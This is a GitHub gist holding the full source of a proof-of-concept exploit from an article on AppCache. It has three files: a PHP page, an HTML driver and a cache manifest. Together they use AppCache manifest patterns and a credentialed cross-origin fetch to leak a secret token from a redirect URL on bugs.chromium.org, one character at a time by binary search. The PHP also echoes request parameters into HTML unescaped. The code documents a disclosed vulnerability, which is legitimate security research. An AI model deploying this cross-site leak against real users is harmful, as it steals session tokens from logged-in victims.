Skip to content

Instantly share code, notes, and snippets.

@lbherrera
Last active June 5, 2021 03:36
Show Gist options
  • Save lbherrera/6e549dcf49334b637c22d76518a90ff6 to your computer and use it in GitHub Desktop.
Save lbherrera/6e549dcf49334b637c22d76518a90ff6 to your computer and use it in GitHub Desktop.
Source code for the exploit used in the "AppCache's forgotten tales" article (https://blog.lbherrera.me/posts/appcache-forgotten-tales/).
<html manifest="manifest.php?patternA=<?php echo $_GET["patternA"]; ?>&patternB=<?php echo $_GET["patternB"]; ?>&prefix=<?php echo $_GET["prefix"]; ?>">
<body>
<script>
let patternA = new URL(location).searchParams.get("patternA");
let patternB = new URL(location).searchParams.get("patternB");
let prefix = new URL(location).searchParams.get("prefix") || '';
applicationCache.addEventListener("cached", () => {
fetch("https://bugs.chromium.org/p/chromium/issues/entryafterlogin", {
mode: "no-cors",
credentials: "include",
cache: "force-cache"
}).then(() => {
top.postMessage({patternA, patternB, prefix, match: true}, "*");
}).catch(() => {
top.postMessage({patternA, patternB, prefix, match: false}, "*");
});
});
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<title>PoC</title>
</head>
<body>
<script>
const tryPattern = (patternA, patternB, prefix) => {
let iframe = document.createElement("iframe");
iframe.id = patternA;
iframe.src = `cache.php?patternA=${patternA}&patternB=${patternB}&prefix=${prefix}`;
document.body.appendChild(iframe);
}
const splitArray = (alphabet) => {
let mid = Math.floor(alphabet.length / 2);
let firstHalf = alphabet.slice(0, mid);
let secondHalf = alphabet.slice(mid, alphabet.length);
return [firstHalf, secondHalf];
}
const start = (prefix) => {
let alphabet = "_-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$";
tryPattern(splitArray(alphabet)[0], splitArray(alphabet)[1], prefix || '');
}
onmessage = (evt) => {
let { patternA, patternB, prefix, match } = evt.data;
let elem = document.getElementById(patternA);
elem.parentNode.removeChild(elem);
if (patternA === "$" || patternB === "$") {
console.log("Final URL => ", prefix);
} else if (patternA.length === 1 && match) {
console.log(`Leak => ${prefix}`);
start(prefix + patternA);
} else if (patternB.length === 1 && !match) {
console.log(`Leak => ${prefix}`);
start(prefix + patternB);
} else if (match) {
tryPattern(splitArray(patternA)[0], splitArray(patternA)[1], prefix);
} else {
tryPattern(splitArray(patternB)[0], splitArray(patternB)[1], prefix);
}
}
onload = () => {
start();
}
</script>
</body>
</html>
<?php header("Content-Type: text/cache-manifest"); ?>CACHE MANIFEST
NETWORK:
https://bugs.chromium.org/p/chromium/issues/entryafterlogin
<?php
$pattern = $_GET["patternA"];
$prefix = $_GET["prefix"];
for ($i=0; $i < strlen($pattern); $i++) {
echo "https://chromiumbugs.appspot.com/?token=".$prefix.$pattern[$i]."* isPattern\n";
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment